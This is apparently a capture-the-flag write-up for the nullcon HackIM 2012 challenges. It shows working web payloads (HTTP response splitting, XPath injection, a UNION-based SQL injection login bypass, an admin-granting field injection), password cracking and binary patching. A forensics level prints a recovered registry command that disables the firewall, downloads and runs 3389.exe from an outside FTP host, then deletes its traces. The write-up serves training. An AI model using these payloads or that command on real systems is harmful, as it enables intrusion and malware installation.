five foutee n zero six nine twentytwo five zero six fifteen twentyone eigteen zero twenty tw entythree five fouteen twenty twentyfive six nine twentytwo five zero twentysix five eigteen fifteen zero nineteen five twentytwo five fouteen zero five nine se ven twenty five five fouteen zero six nine twentytwo five zero six nine twentytw o five zero six fifteen twentyone twenty five five fouteen 14 09 14 05 20 05 05 14 00 06 09 22 05 00 06 15 21 18 00 20 23 05 14 20 25 15 14 05 00 20 23 05 12 22 05 00 06 09 06 20 05 05 14 00 20 23 05 14 20 25 15 14 05 0 0 14 09 14 05 20 05 05 14 00 20 23 05 12 22 05 00 20 23 05 14 20 25 06 09 22 05 00 26 05 18 15 00 06 09 22 05 00 14 09 14 05 20 05 05 14 00 20 08 18 05 05 00 05 09 07 08 20 00 06 09 22 05 00 20 23 05 14 20 25 20 08 18 05 05 00 26 05 18 15 0 0 06 09 06 20 05 05 14 00 20 23 15 00 19 09 24 00 20 23 05 14 20 25 15 14 05 00 14 09 14 05 20 05 05 14 00 20 08 18 05 05 00 15 14 05 00 20 23 05 14 20 25 00 06 09 06 20 05 05 14 00 05 09 07 20 05 05 14 00 20 23 05 14 20 25 06 09 22 05 00 2 6 05 18 15 00 05 09 07 08 20 00 20 23 05 14 20 25 06 09 22 05 00 19 09 24 20 05 05 14 00 06 09 22 05 00 05 09 07 20 05 05 14 00 20 23 05 14 20 25 20 23 15 00 06 09 22 05 00 05 09 07 20 05 05 14 00 20 23 15 00 06 09 06 20 05 05 14 00 14 09 1 4 05 20 05 05 14 00 14 09 14 05 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 26 05 18 15 00 15 14 05 00 06 15 21 20 05 05 14 00 06 15 21 18 00 26 05 18 15 00 19 09 24 20 05 05 14 00 05 09 07 20 05 05 14 00 06 09 06 20 05 05 14 0 0 20 23 05 12 22 05 00 14 09 14 05 00 20 23 05 14 20 25 06 15 21 18 00 14 09 14 05 00 20 23 05 14 20 25 00 20 23 05 14 20 25 06 09 22 05 00 26 05 18 15 00 20 08 09 18 20 25 05 09 07 08 20 00 20 08 09 18 20 25 06 15 21 18 00 26 05 18 15 00 0 5 09 07 20 05 05 14 00 06 09 06 20 05 05 14 00 06 09 22 05 00 06 15 21 18 00 20 23 05 14 20 25 06 09 22 05 00 26 05 18 15 00 19 05 22 05 14 00 05 09 07 20 05 05 14 00 06 09 22 05 00 06 09 22 05 00 06 15 21 20 05 05 14 nineteen five four twentyone twelve fifteen twentyone nineteen twelve twentyfive zero five nineteen three eight five twentythree zero fifteen two six twentyone nineteen three one twenty fifteen eigteen twentyfive zero eight twentyfive sixte en five eigteen twentytwo five eigteen two fifteen nineteen nine twenty twentyfi ve zero one fouteen four zero sixteen eigteen fifteen twelve nine twentyfour nin e twenty twentyfive zero thirtyeight thirtyfour zero eigteen fifteen five four t wentyfive zero seven eigteen five five fouteen 19 05 04 21 12 15 21 19 12 25 00 05 19 03 08 05 23 00 15 02 06 21 19 03 01 20 15 18 25 00 08 25 16 05 18 22 05 18 02 15 19 09 20 25 00 01 14 04 00 16 18 15 12 0
- 15. 9 24 09 20 25 00 38 34 00 18 15 05 04 25 00 07 18 05 05 14 sedulously eschew obfuscatory hyperverbosity and prolixity 84 roedy green Flag: sedulously eschew obfuscatory hyperverbosity and prolixity 84 roedy green Programming Level 5: A pinch of salt for your coffee, Sir? URL: http://www.nullcon.net/challenge/plevel-5-salt.asp Clue: password + salt = md5 hash Approach: Obtained md5 hash for password = ‘a’ as 5e33d53d1a9511b8ddccc3c1aed830de Created pass.txt with the following content: a: 5e33d53d1a9511b8ddccc3c1aed830de Bruteforced using john (version 1.7.9-jumbo) in incremental mode. john –i –format=raw-md5 pass.txt Loaded 1 password hash (Raw MD5 [SSE2i 10x4x3]) a399a7d (a) Password cracked : a399a7d Flag: 399a7d Web Level1: Can you view the bytes in password.asp from Me? URL: http://www.nullcon.net/challenge/wlevel-1-proc.asp?input=test.txt Tools Used: Google Chrome Approach: (null byte termination file disclosure vulnerability) 1. Right click on link Me and select Inspect Element 2. Edit attribute href from “wlevel-1-proc.asp?input=test.txt” to “wlevel-1- proc.asp?input=password.asp%00.txt” 3. Click on Me Flag: password.asp%00.txt Web Level 2: Can you redirect ME to hackim.null.co.in?
- 16. Tools Used: Google Chrome Approach: HTTP Response Splitting Steps: 1. Right click on link ME and select Inspect Element 2. Edit attribute href from “wlevel-2-proc.asp?page=index.asp “ to "wlevel-2- proc.asp?page=wlevel-2-proc.asp?page=index.asp%0d%0aContent- Length:%200%0d%0a%0d%0aHTTP/1.1%20302%20OK%0d%0aLocation:%20hackim.null.co. in" 3. Click on ME References: http://projects.webappsec.org/w/page/13246931/HTTP%20Response%20Splitting Web Level 3: Login System Clue: <!--Debug Info: INSERT 'a99|a|a99|a@a99.com|admin:no|comment:new user' INTO USER DB FILE - -> Approach: During register, the data is stored in DB as the above query. To bypass, register an user with email as user@example.com|admin:yes On Login using the above registered user, we get the following: Welcome! You are logged in as ADMIN! Flag: b3149ecea4628efd23d2f86e5a723472 Web Level 4: Can You Get Me all the Data? Approach: Looked like SQL injection at first as http://www.nullcon.net/challenge/wlevel-4- data.asp?input='or''=' gave all the data. On IRC, someone mentioned that he has been told that SQL Injection is a waste of time for this level. So guessed this should be either XQuery or XPath Injection. Followed steps suggested in Blind XPath Injection paper by Amit Klein input ='or(name(//president[1])="president")or'a'='b => true => “president” exists in namespace input ='or(name(//president[1])="people")or'a'='b => false => “people” does not exist in namespace input ='or(name(//president[1])="india")or'a'='b => true => “india” exists in namespace input='or(name(//name[1])="name")or'a'='b => true => “name” exists in namespace From above, crafted the following query: '] | //president[''or''=' Other query that also worked:
- 17. '] | //india[''or''=' Flag: myworthinessisallmydoubthismeritallmyfearcontrastingwhichmyqualitydoeshoweverappear References: 1. http://hackbbs.org/article/book/wf/blind-xpath-injection.pdf 2. http://projects.webappsec.org/XPath-Injection Web Level 5: Do You Have What IT Takes to Break into the World's Most Secure Login System? Approach: Certain SQL Injections are checked for and blocked by the login system. Initially thought the flaw may be in the logging system so tried spoofing User-Agent without much success. Heard on IRC that this level challenge is SQLi. Found that the system does not block comments /**/ . Also login password field is limited to 10 characters with only client-side limitation which can be overcome by using Inspect Element and Edit attribute in Google Chrome. Tried lot of different SQLi. Finally the one which succeeded is: Username: 'UNION/**/SELECT/**/1,'admin','doesntmatter Password: doesntmatter Welcome! You are logged in as ADMIN! Flag: 47c1b025fa18ea96c33fbb6718688c0f Reverse Engineering Level 1: Basic Test Binary URL: http://www.nullcon.net/challenge/data/justdoit.exe Approach: From the resource section, we find that it is a software called Autohotkey. When running, if you press Windows + R, it automatically types in the Open field (I am using Vista). Opened Notepad, started justdoit.exe, pressed Windows + R and then quickly clicked on the Open Notepad. The Keystrokes went in to the Notepad and the Flag was typed. Flag: We could talk all day about what AutoHotKey can do for an online poker player Reverse Engineering Level 2: Ask nicely, it will give you what you want Binary URL: http://www.nullcon.net/challenge/data/HackIM.exe
- 18. Hint: Look for other paths. Approach: Tried lot of things with OllyDBG. Tried changing Entry point by Set Origin as in Olly without any luck. Code may be in .rsrc segment which is not executable. Opened PE exe file using Stud_PE (http://www.cgsoftlabs.ro/studpe.html) Change Entry point to 0xC000 and set permissions of .rsrc segment to Read, Write And Execute and ran HackIM.exe Flag: AreYouHappyNow? Reverse Engineering Level 3: null Mobile Android App URL: http://www.nullcon.net/challenge/data/Null%20Mobile.apk Approach: Extract apk file by renaming it to NullMobile.apk.zip WinRAR Found code.js and junk.php javascript obfuscated code in res/raw eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a )))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/ ^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c]);return p}('6 $(){5 a=n H();u(5 i=0;i<q.r;i++){5 b=q[i];2(I b=='J')b=8.K(b);2(q.r==1)7 b;a.L(b)}7 a}6 o(a,b){a=a.v();2(8.h){u(5 i=0;i<8.h.r;i++){5 c=8.h[i];5 d=0;5 e=j;s{2(c.t){e=c.t[d]}k{e=c.M[d]}2(e){2(e.N.v()==a){2(b=='w'){2(c.t){c.O( d)}k{c.P(d)}7 p}k{7 e}}}d++}Q(e)}}7 j}6 R(a){7 o(a,'w')}6 S(a){2(8.h){2(!o(a)){2(8.h[0].y){8.h[0].y(a,l,0)}k{8.h[0].T(a+' { }',0)}}}7 o(a)}6 U(a,b){V="W X Y z A Z s 10 11 z A 12 s."}6 13(d,e){5 f=m;m.9=j;m.B=6(){2(f.9){f.9=j;f.3.B();f.3=l}}m.14=6(a,b){2(f.9){7 j}f.3=l;2(15.C){f.3=n C()}k{f.3=n 16("17.18")}2(f.3==l){7 j}k{f.3.19=6(){2(f.3.1a==4){f.9=j;f.D(f.3.1b,f.3.1c,f.3.1d);f.3=l}}f.9=n 1e();2(/1f/i.1g(b)){5 c=g+'?'+f.9.E();f.3.F("1h",c,p);f.3.1i("1j- 1k","1l/x-1m-1n-1o");f.3.G(a)}k{5 c=g+'?'+a+'&1p='+(f.9.E());f.3.F("1q",c,p);f.3.G(l)}7 p}}5 g=d;m.D=e||6(){}}',62,89,'||if|AJAX||var|function|return|document|updating| |||||||styleSheets||false|else|null|this|new|getCSSRule|true|arguments|leng th|do|cssRules|for|toLowerCase|delete||addRule|what|you|abort|XMLHttpReques t|callback|getTime|open|send|Array|typeof|string|getElementById|push|rules| selectorText|deleteRule|removeRule|while|killCSSRule|addCSSRule|insertRule| mikcah|galf|Do|not|let|cannot|interfere|with|can|ajaxObject|update|window|A ctiveXObject|Microsoft|XMLHTTP|onreadystatechange|readyState|responseText|s tatus|responseXML|Date|post|test|POST|setRequestHeader|Content|type|applica tion|www|form|urlencoded|timestamp|GET'.split('|'),0,{})) Beautify using: http://jsbeautifier.org/ Flag is within the deobfuscated javascipt code. …
- 19. function mikcah(a, b) { galf = "Do not let what you cannot do interfere with what you can do." } … Flag: Do not let what you cannot do interfere with what you can do. Reverse Engineering 4 Binary URL: http://www.nullcon.net/challenge/data/script2 Tools: objdump, vi, gdb, strings, ps, cat Steps: Disassemble using Objdump (objdump -d ./script2) Locate call to time 400ff3: bf 00 00 00 00 mov $0x0,%edi 400ff8: e8 43 f9 ff ff callq 400940 <time@plt> 400ffd: 48 39 c3 cmp %rax,%rbx 401000: 7d 0a jge 40100c Change the above jge to jl (ie change 7c 0a to 7c 0a) on line 0x00001000 using vi in hex editor mode (open binary file in vi, type :%!xxd to convert to hex view format, modify, save, type :%!xxd –r to revert back to binary and save and exit :wq) Run ./script2 and press CTRL+Z to put to background find process using ps see /proc/<pid>/cmdline Found the following being executed: #!/bin/sh ########################################################################## # Title : icat - "intelligent" cat # Author : Heiner Steven <heiner.steven@odn.de> # Date : 1994-05-18 # Requires : gzip, zcat # Category : File Utilities # SCCS-Id. : @(#) icat 1.3 08/01/31 ########################################################################## # Description # ##########################################################################
- 20. PN=`basename "$0"` # program name VER='1.3' Extensions=".Z .z .gz .cpz .tgz" # known file extensions usage () { echo >&2 "$PN - cat file, uncompress if necessary, $VER (stv '95) usage: $PN -l $PN [file ...] The first case lists all known extensions, the other case tries to print the given file, uncompressing it if necessary." exit 1 } msg () { for line do echo "$PN: $line" >&2 done } fatal () { msg "$@"; exit 1; } while [ $# -gt 0 ] do case "$1" in -l) # List known suffixes echo $Extensions exit 0;; --) shift; break;; # Simulate getopt -h) usage;; *) break;; esac done if [ $# -lt 1 ] then # read from stdin (uncompressed) cat else flagreq=0 if [ $flagreq -eq 1 ] then echo "Nature has neither kernel nor shell; she is everything at once" fi for file do if [ -r "$file" ] # file does exist then # Try to determine decompressor based on the extension case "$file" in *.Z) zcat "$file";; *.z) gzip -d -c "$file";; *.gz|*.tgz) gzip -d -c "$file";; *.bz2) bzip2 -d -c "$file";; *.cpz) zcat < "$file";; *) cat "$file";; esac else # File does not exist: try to determine compressed version if [ -r "$file".bz2 ]
- 21. then bzip2 -d -c "$file" elif [ -r "$file".gz ] then gzip -d -c "$file" elif [ -r "$file".tgz ] then gzip -d -c "$file" elif [ -r "$file".Z ] then zcat "$file" elif [ -r "$file".z ] then gzip -d -c "$file" elif [ -r "$file".cpz ] then zcat < "$file" else fatal "could not find file: $file" fi Err=$? fi done fi Alternate way: 1. Set ulimit to unlimited (ulimited –c unlimited), send SIGSEGV to program and force it the dump core. You can find the script by doing strings on core. 2. Hook call to time using LD_PRELOAD technique. Flag: Nature has neither kernel nor shell; she is everything at once Reverse Engineering Level 5: Got Dumped :( URL: http://www.nullcon.net/challenge/data/lol.rar Tools Used: WinDBG, OllyDBG, metasm, vi Steps: The file is a crash dump file. Opened file in WinDBG and did analyze –v. The program crashed in Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [D:UsersNilanjanDocumentsDocsnullconlol.dmp] User Mini Dump File with Full Memory: Only application data is available
- 22. Symbol search path is: srv*c:symbols*http://msdl.microsoft.com/download/symbols Executable search path is: Windows XP Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: SingleUserTS Machine Name: Debug session time: Sun Jan 8 14:38:14.000 2012 (GMT+5) System Uptime: 0 days 0:57:47.904 Process Uptime: 0 days 0:00:21.000 ..... This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr. (a60.73c): Access violation - code c0000005 (first/second chance not available) eax=0000978f ebx=00000001 ecx=a1840000 edx=82839b00 esi=00000000 edi=fffffffe eip=deadbabe esp=0012feec ebp=0012ff30 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 deadbabe ?? 0:000> lm start end module name 00400000 0040e000 Stub (no symbols) 77f10000 77f59000 gdi32 (pdb symbols) c:symbolsgdi32.pdb740F60A99F2A417E96C387400994588D2gdi32.pdb 7c800000 7c8f6000 kernel32 (pdb symbols) c:symbolskernel32.pdb34560E80F5C54175B208848EF863C5BD2kernel32.p db 7c900000 7c9af000 ntdll (pdb symbols) c:symbolsntdll.pdb1751003260CA42598C0FB326585000ED2ntdll.pdb 7e410000 7e4a1000 user32 (pdb symbols) c:symbolsuser32.pdbD18A41B74E7F458CAAAC1847E2D8BF022user32.pdb
- 23. Wrote memory to file as mapped PE binary file. 0:000> .writemem Stub.bin 00400000 0040dfff Writing e000 bytes............................ Converted to proper PE file using metasm #No | Name | VSize | VOffset | RSize | ROffset | Charact. #01 | .text | 00006254 | 00001000 | 00006400 | 00000400 | 60000020 #02 | .rdata | 00001B42 | 00008000 | 00001C00 | 00006800 | 40000040 #03 | .data | 000018DC | 0000A000 | 00000E00 | 00008400 | C0000040 #04 | .rsrc | 000001B4 | 0000C000 | 00000200 | 00009200 | 40000040 #05 | .reloc | 00000C4E | 0000D000 | 00000E00 | 00009400 | 42000040 require './metasm/metasm' # data = File.open("Stub.bin","rb"){ |fd| fd.read(fd.stat.size)} pe = Metasm::LoadedPE.load(pe_in) pe.cpu = Metasm::Ia32.new pe.encode_file('Stub.exe','exe') Tried debugging using OllyDBG. Code has anti-debugger checks because of which most paths did not work. Tried changing entry points but none worked. Located call to MessageBox. Manually checked where it gets called from. WinDBG analysis showed that the program has crashed while trying to execute code @0xdeadbabe. Found code push 0xdeadbabe followed by retn which is an indirect way of calling 0xdeadbabe. 0040106C 68 BEBAADDE PUSH DEADBABE 00401071 . C3 RETN Changed the address to just before the MessageBox call code. 0040106C . 68 DA104000 PUSH stub3.004010DA 00401071 . C3 RETN ; RET used as a jump to 004010DA Open the program using Ollydbg. Select and set the following as new origin: 00401000 $ 55 PUSH EBP Run code Flag: TheLastSamurai Screenshot:
- 24. Forensics Level 1: Tum Agar Dhyan Se Baat Meri Suno While conducting the raid on a suspect the police found the system containing no suspicious information in the form of a code. While comparing various files they came up with a suspicious sound file and feel that the code is hidden inside the same. You are asked to find out that code if hidden in the file. Evidence URL: http://www.nullcon.net/challenge/data/JS.rar Tools used: audacity Approach: Open with audacity and analyse.
- 25. At some offsets, we find that the channel data differ. Extract only the portions where there is hidden audio in the right channel.
- 26. Playing it seems like some numbers in foreign language. If we apply effect reverse, mute left channel and play, we can hear English numbers.
- 27. Flag: 12344346765 Forensics Level 2: Andar Ch0r A company Mil Baat Ke Khao Ltd suspects that one of its employees is sending the internal codes secretly outside the organisation. The company sniffed the data being sent and reconstructed it to find that a word document was being sent. The company strongly suspects that there is some hidden passport code in the document. You as a forensic investigator are provided with the copy of that file and are required to find out the hidden code. The code has to be in whole number. Evidence URL: http://www.nullcon.net/challenge/data/Passport_Number.doc Doing strings on file shows that there are hidden worksheets. Renamed to Password.xls and file opened properly in Excel. Unhide hidden sheets. Nullcon2 sheet becomes visible.
- 28. Open VB editor, select Sheet3 (Nullcon3) and press F4 to view properties. Change property visibility of Nullcon3 sheet from 2 – xlSheetVeryHidden to -1 xlSheetVisible Here is your Passport number to the new level 6924289 Flag: 6924289 Forensics Level 3: Not Guilty! An employee was suspected of using some malicious files. The employee asserts that he is not guilty cause he never used any program except microsoft word and excel. While conducting the analysis nothing was found in the registry suggesting that something did run automatically. All locations that can run program automatically were examined and nothing malicious was found. You as an investigator are provided with a piece of hive to carve out if anything was deleted from the hive and provide the exact "Value", "value type" and "data" deleted so that the employee gets the justice. Approach: Tried with Regripper, yaru. Worked with reglookup-recover (http://projects.sentinelchicken.org/reglookup/) $>reglookup-recover.exe software OFFSET,REC_LENGTH,REC_TYPE,PATH,NAME,NK_MTIME,NK_NVAL,VK_TYPE,VK_VALUE,VK_DATA_LEN, SK_OWNER,SK_GROUP,SK_SACL,SK_DACL,RAW_CELL
- 29. ERROR: Bad cell length encountered while parsing unallocated cells at offset 0x0 0A27908. 00B4EEA0,00000020,VALUE,,Shell,,,SZ,c:windowssystem32cmd.exe /c net1 stop sharedaccess&echo open xxx.3322.org> cmd.txt&echo feng>> cmd.txt&echo xxx>> cmd.txt&echo binary >> cmd.txt&echo get 3389.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&3389.exe&3389.exe&del cmd.txt /q,490,,,,,Text in Unallocated segment hidden registry key Flag: c:windowssystem32cmd.exe /c net1 stop sharedaccess&echo open xxx.3322.org> cmd.txt&echo feng>> cmd.txt&echo xxx>> cmd.txt&echo binary >> cmd.txt&echo get 3389.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&3389.exe&3389.exe&del cmd.txt /q References: http://www.digitalforensicssolutions.com/papers/recovering-and-analyzing-deleted- registry-hives.pdf Forensics Level 4: Intriguing MBR A suspected drive was found in bad shape. The data extraction was almost impossible and the final copy obtained carried only few bytes. The bytes belonged to the initial sectors and wherever the system could not read the space was filled with 0x00 so as to keep the offset of the data obtained intact. The initial sector displayed a messy MBR data. As a forensic investigator you are required to find the following information: 1) The number of partitions in the damaged drives 2) The start and end LBA for each partition 3) The Start and end of unpartitioned space between two clusters The Drive showed to be a SATA drive with 512 bytes of LBA Tools Used: mmls (Sleuthkit), vi Approach: Run mmls on image. [nullc0n]$ mmls -t gpt ./image.dd Invalid magic value (GPT Header: 5452000020494600)
- 30. Fix header magic value (EFI PART) and number of partitions using vi in binary mode (:%!xxd) and run mmls again. (See references) [nullc0n]$ mmls -t gpt ./image3.dd Invalid sector address (gpt_load_table: Starting sector too large for image) Download Sleuthkit and comment out section where mmls is throwing error and exiting. Compile and run. Patch [nullc0n]$ diff -pu sleuthkit-3.2.3/tsk3/vs/gpt.c* --- sleuthkit-3.2.3/tsk3/vs/gpt.c 2012-01-15 18:32:13.302732773 +0530 +++ sleuthkit-3.2.3/tsk3/vs/gpt.c.orig 2012-01-20 16:43:37.251203455 +0530 @@ -212,7 +212,7 @@ gpt_load_table(TSK_VS_INFO * vs) } // make sure the first couple are in the image bounds - /*if ((i < 2) + if ((i < 2) && (tsk_getu64(vs->endian, ent->start_lba) > max_addr)) { tsk_error_reset(); tsk_errno = TSK_ERR_VS_BLK_NUM; @@ -221,7 +221,7 @@ gpt_load_table(TSK_VS_INFO * vs) free(sect_buf); free(ent_buf); return 1; - }*/ + } if ((name = tsk_malloc(256)) == NULL) { [nullc0n]$ ./sleuthkit-3.2.3/tools/vstools/mmls -t gpt ./image3.dd GUID Partition Table (EFI) Offset Sector: 0 Units are in 512-byte sectors Slot Start End Length Description 00: Meta 0000000000 0000000000 0000000001 Safety Table 01: ----- 0000000000 0000002047 0000002048 Unallocated 02: Meta 0000000001 0000000001 0000000001 GPT Header 03: Meta 0000000002 0000000004 0000000003 Partition Table 04: 00 0000002048 0098566144 0098564097 05: 08 0098566145 0098568191 0000002047 06: 01 0098568192 0182454271 0083886080 07: 02 0182454272 0203425791 0020971520 08: 03 0203425792 0253757439 0050331648 09: 04 0253757440 0310380543 0056623104 10: 05 0310380544 0352323583 0041943040 11: 06 0352323584 0406849535 0054525952 L 12: 07 0406849536 0488397134 0081547599
- 31. Refered Wiki for GUID Partitition table for UUID for file system types. Mapping done manually. References: http://en.wikipedia.org/wiki/Master_boot_record http://en.wikipedia.org/wiki/GUID_Partition_Table http://www.aqfire.com/boot/ http://www.digitalforensics.ch/nikkel09.pdf Forensics Level 5: Universal Swindlers Bayonet Anusandhaanic Daakus Ltd. Is a company whose strength lies in the researches it conducts. Very often the employees leaving the organisation manage to carry the research data alongwith. This time company decided to go for the investigation and called upon a forensic investigator. This investigator captured the memory dump and shut the system down. On resuming the system he finds that the drive has been encrypted and is left with only the memory dump. You as an investigator are required to find out the following information from the dump 1) Serial No. of external drive 2) Date and time (IST) when the drive was first connected 3)Date and time (IST) when the drive was last connected 4) Launching which other executable (Not nullcon.exe>) resulted in launching of nullcon.exe Tools Used: string, grep volatility framework Steps: [flevel5]$ python ./volatility/trunk/vol.py hivelist -f ./null.img Volatile Systems Volatility Framework 2.1_alpha Virtual Physical Name 0x8067b184 0x0067b184 [no name] 0xe19fb380 0x0a1ec380 DeviceHarddiskVolume1Documents and SettingsuserLocal SettingsApplication DataMicrosoftWindowsUsrClass.dat 0xe1a448d0 0x0a5038d0 DeviceHarddiskVolume1Documents and SettingsuserNTUSER.DAT 0xe17599f8 0x089629f8 DeviceHarddiskVolume1Documents and SettingsLocalServiceLocal SettingsApplication DataMicrosoftWindowsUsrClass.dat 0xe1754008 0x0895b008 DeviceHarddiskVolume1Documents and SettingsLocalServiceNTUSER.DAT
- 32. 0xe172b430 0x08508430 DeviceHarddiskVolume1Documents and SettingsNetworkServiceLocal SettingsApplication DataMicrosoftWindowsUsrClass.dat 0xe1726698 0x083fd698 DeviceHarddiskVolume1Documents and SettingsNetworkServiceNTUSER.DAT 0xe1447008 0x06c9d008 DeviceHarddiskVolume1WINDOWSsystem32configsoftware 0xe1447b60 0x06c9db60 DeviceHarddiskVolume1WINDOWSsystem32configdefault 0xe14476b8 0x06c9d6b8 DeviceHarddiskVolume1WINDOWSsystem32configSAM 0xe1430330 0x06c90330 DeviceHarddiskVolume1WINDOWSsystem32configSECURITY 0xe1331b60 0x02c6eb60 [no name] 0xe101bad8 0x02994ad8 DeviceHarddiskVolume1WINDOWSsystem32configsystem 0xe1008b60 0x029cdb60 [no name] We find that SYSTEM is located at offset 0xe101bad8. We use this to print specific registry keys. [flevel5]$ python ./volatility/trunk/vol.py printkey -o 0xe101bad8 -K "CurrentControlSet" -f null.img Volatile Systems Volatility Framework 2.1_alpha Legend: (S) = Stable (V) = Volatile ---------------------------- Registry: User Specified Key name: CurrentControlSet (V) Last updated: 2012-01-06 12:39:30 Subkeys: Values: REG_LINK SymbolicLinkValue : (V) RegistryMachineSystemControlSet001 [flevel5]$ python ./volatility/trunk/vol.py printkey -o 0xe101bad8 -K "ControlSet001ControlDeviceClasses" -f null.img Volatile Systems Volatility Framework 2.1_alpha Legend: (S) = Stable (V) = Volatile ---------------------------- Registry: User Specified Key name: DeviceClasses (S) Last updated: 2012-01-05 13:24:36 Subkeys: (S) {378de44c-56ef-11d1-bc8c-00a0c91405dd} (S) {3abf6f2d-71c4-462a-8a92-1e6861e6af27} (S) {a5dcbf10-6530-11d2-901f-00c04fb951ed} (S) {f18a0e88-c30c-11d0-8815-00a0c906bed8} [flevel5]$ python ./volatility/trunk/vol.py printkey -o 0xe101bad8 -K "ControlSet001ControlDeviceClasses{a5dcbf10-6530-11d2-901f-00c04fb951ed}" -f null.img Volatile Systems Volatility Framework 2.1_alpha Legend: (S) = Stable (V) = Volatile ---------------------------- Registry: User Specified
- 33. Key name: {a5dcbf10-6530-11d2-901f-00c04fb951ed} (S) Last updated: 2012-01-05 13:24:36 Subkeys: (S) ##?#USB#Vid_0bc2&Pid_2101#2GEL32TN#{a5dcbf10-6530-11d2-901f-00c04fb951ed} Values: [flevel5]$ python ./volatility/trunk/vol.py printkey -o 0xe101bad8 -K "ControlSet001ControlDeviceClasses{a5dcbf10-6530-11d2-901f- 00c04fb951ed}##?#USB#Vid_0bc2&Pid_2101#2GEL32TN#{a5dcbf10-6530-11d2-901f- 00c04fb951ed}" -f null.img Volatile Systems Volatility Framework 2.1_alpha Legend: (S) = Stable (V) = Volatile ---------------------------- Registry: User Specified Key name: ##?#USB#Vid_0bc2&Pid_2101#2GEL32TN#{a5dcbf10-6530-11d2-901f-00c04fb951ed} (S) Last updated: 2012-01-06 12:22:13 Subkeys: (S) # Values: REG_SZ DeviceInstance : (S) USBVid_0bc2&Pid_21012GEL32TN From above, we find that the Serial number of the removable disk is 2GEL32TN When It was first connected, the registry entry SYSTEMControlSet001ControlDeviceClasses{a5dcbf10-6530-11d2-901f-00c04fb951ed} was created. Therefore its last update time 2012-01-05 13:24:36 UTC is our flag2 after converting to IST. Its subkey ##?#USB#Vid_0bc2&Pid_2101#2GEL32TN#{a5dcbf10-6530-11d2-901f-00c04fb951ed} is updated every-time the device is connected. Therefore its last update time is our flag 3 Used pslist in volatility to list processes Offset(V) Name PID PPID Thds Hnds Time ---------- -------------------- ------ ------ ------ ------ ------------------- 0x821c6a00 System 4 0 59 240 1970-01-01 00:00:00 0x81f5fb10 smss.exe 580 4 3 21 2012-01-06 12:39:37 0x81ff92a0 csrss.exe 644 580 11 349 2012-01-06 12:39:38 0x81ff8da0 winlogon.exe 668 580 20 503 2012-01-06 12:39:38 0x81fe35d0 services.exe 712 668 15 258 2012-01-06 12:39:38 0x81feebb8 lsass.exe 724 668 26 343 2012-01-06 12:39:38 0x81fa8ac0 svchost.exe 900 712 20 201 2012-01-06 12:39:38 0x82018438 svchost.exe 968 712 10 227 2012-01-06 12:39:39 0x81f84210 svchost.exe 1056 712 72 1193 2012-01-06 12:39:39 0x82002530 svchost.exe 1176 712 5 58 2012-01-06 12:39:39 0x81fe8620 svchost.exe 1212 712 14 204 2012-01-06 12:39:39 0x81f586f0 spoolsv.exe 1336 712 13 122 2012-01-06 12:39:39 0x81f7a428 explorer.exe 1584 1568 13 374 2012-01-06 12:39:40 0x81b73020 alg.exe 516 712 7 103 2012-01-06 12:39:49 0x81b941e0 nullcon.exe 484 1584 1 22 2012-01-06 12:40:07
- 34. 0x81b403a8 cmd.exe 1048 1584 1 31 2012-01-06 12:40:13 0x81ba3020 cmd.exe 320 484 1 28 2012-01-06 12:40:20 0x81b7b020 win32dd.exe 856 1048 1 21 2012-01-06 12:40:30 Initially thought Flag4 would be explorer.exe which Is the parent process of nulcon.exe. However, it was not correct. Using strings and grep to search for nullcon.exe [flevel5]$ strings null.img |grep -i nullcon.exe nullcon.exe C:WINDOWSsystem32Nullcon.exe C:WINDOWSsystem32Nullcon.exe nullcon.exe NULLCON.EXE C:WINDOWSsystem32Nullcon.exe C:WINDOWSsystem32Nullcon.exe Nullcon.exe C:WINDOWSsystem32Nullcon.exe Nullcon.exe "C:WINDOWSsystem32mshearts.exe" Nullcon.exe This gives us Flag 4 as mshearts.exe References: 1. https://blogs.sans.org/computer- forensics/files/2009/08/usb_device_forensics_xp_guide.pdf 2. http://cse.spsu.edu/raustin2/coursefiles/forensics/How_to_use_Volatility_v2.pdf Log Analysis Level 1: Basic Log URL: http://www.nullcon.net/challenge/data/report Found interesting line in log: + OSVDB-3268: GET /challenge/logically_insane/ : Directory indexing is enabled: /challenge/logically_insane/ Found askmelate.asp in /challenge/logically_insane Clue: Ask the proper question to get the proper answer<!-- askmelater.asp?question=? -->
- 35. Question: How to find the flag? http://www.nullcon.net/challenge/logically_insane/askmelater.asp?question=how%20to%20find%2 0the%20flag? Flag: 6bb61e3b7bce0931da574d19d1d82c88 Log Analysis Level 2: Mystery Password Find password for user suppadmin Log URL: http://www.nullcon.net/challenge/data/log3.pcap Tools Used: Wireshark Steps: Open file in wireshark. Flag: ..Supp@..adm1n # Flag includes the dots Log Analysis Level 3: Clever Intruder Log URL: http://www.nullcon.net/challenge/data/access.rar Only 3 IPs were found in log. Started with 192.168.0.107 [nullc0n]$ cat access.log |grep 192.168.0.107
